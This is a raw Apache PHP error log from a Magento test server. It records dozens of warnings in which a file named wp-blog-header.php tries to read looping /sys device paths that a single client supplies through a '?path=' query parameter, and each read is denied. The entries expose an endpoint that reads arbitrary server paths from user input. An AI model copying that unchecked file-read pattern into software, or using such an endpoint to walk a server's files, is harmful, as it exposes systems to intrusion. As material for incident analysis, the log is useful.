[Thu Mar 26 11:20:41.223374 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ac
[Thu Mar 26 11:20:42.295597 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:20:43.395336 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:20:47.053010 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:be
[Thu Mar 26 11:20:49.887810 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:dc
[Thu Mar 26 11:20:54.574914 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:cc
[Thu Mar 26 11:20:57.281011 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ca
[Thu Mar 26 11:20:59.376512 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:fe
[Thu Mar 26 11:20:59.884451 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:21:03.633289 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ce
[Thu Mar 26 11:21:06.277480 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:fc
[Thu Mar 26 11:21:10.619577 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:21:11.210247 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ea
[Thu Mar 26 11:21:12.370719 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:21:12.919960 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:aa
[Thu Mar 26 11:21:13.397367 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:cc
[Thu Mar 26 11:21:18.143031 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ca
[Thu Mar 26 11:21:26.071994 2026] [php:warn] [pid 3106405] [client 74.7.241.26:47920] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ac
[Thu Mar 26 11:21:32.692306 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ae
[Thu Mar 26 11:21:35.897974 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:21:39.522441 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/tpm_crb
[Thu Mar 26 11:21:40.615450 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:21:41.148933 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:cc
[Thu Mar 26 11:21:41.621126 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:21:42.208938 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:21:44.829699 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ec
[Thu Mar 26 11:21:47.422172 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:21:49.490116 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:dc
[Thu Mar 26 11:21:57.498831 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/drivers/ec
[Thu Mar 26 11:21:58.985073 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:22:01.659407 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:22:03.158926 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:22:07.904920 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:22:12.890210 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ac
[Thu Mar 26 11:22:15.586402 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac
[Thu Mar 26 11:22:17.167089 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ac
[Thu Mar 26 11:22:24.374232 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ac
[Thu Mar 26 11:22:25.920948 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:22:31.929090 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ba
[Thu Mar 26 11:22:36.144483 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/subsystem/devices/device:de
[Thu Mar 26 11:22:38.780596 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ce
[Thu Mar 26 11:22:39.280814 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:22:39.837111 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc
[Thu Mar 26 11:22:40.409071 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ec
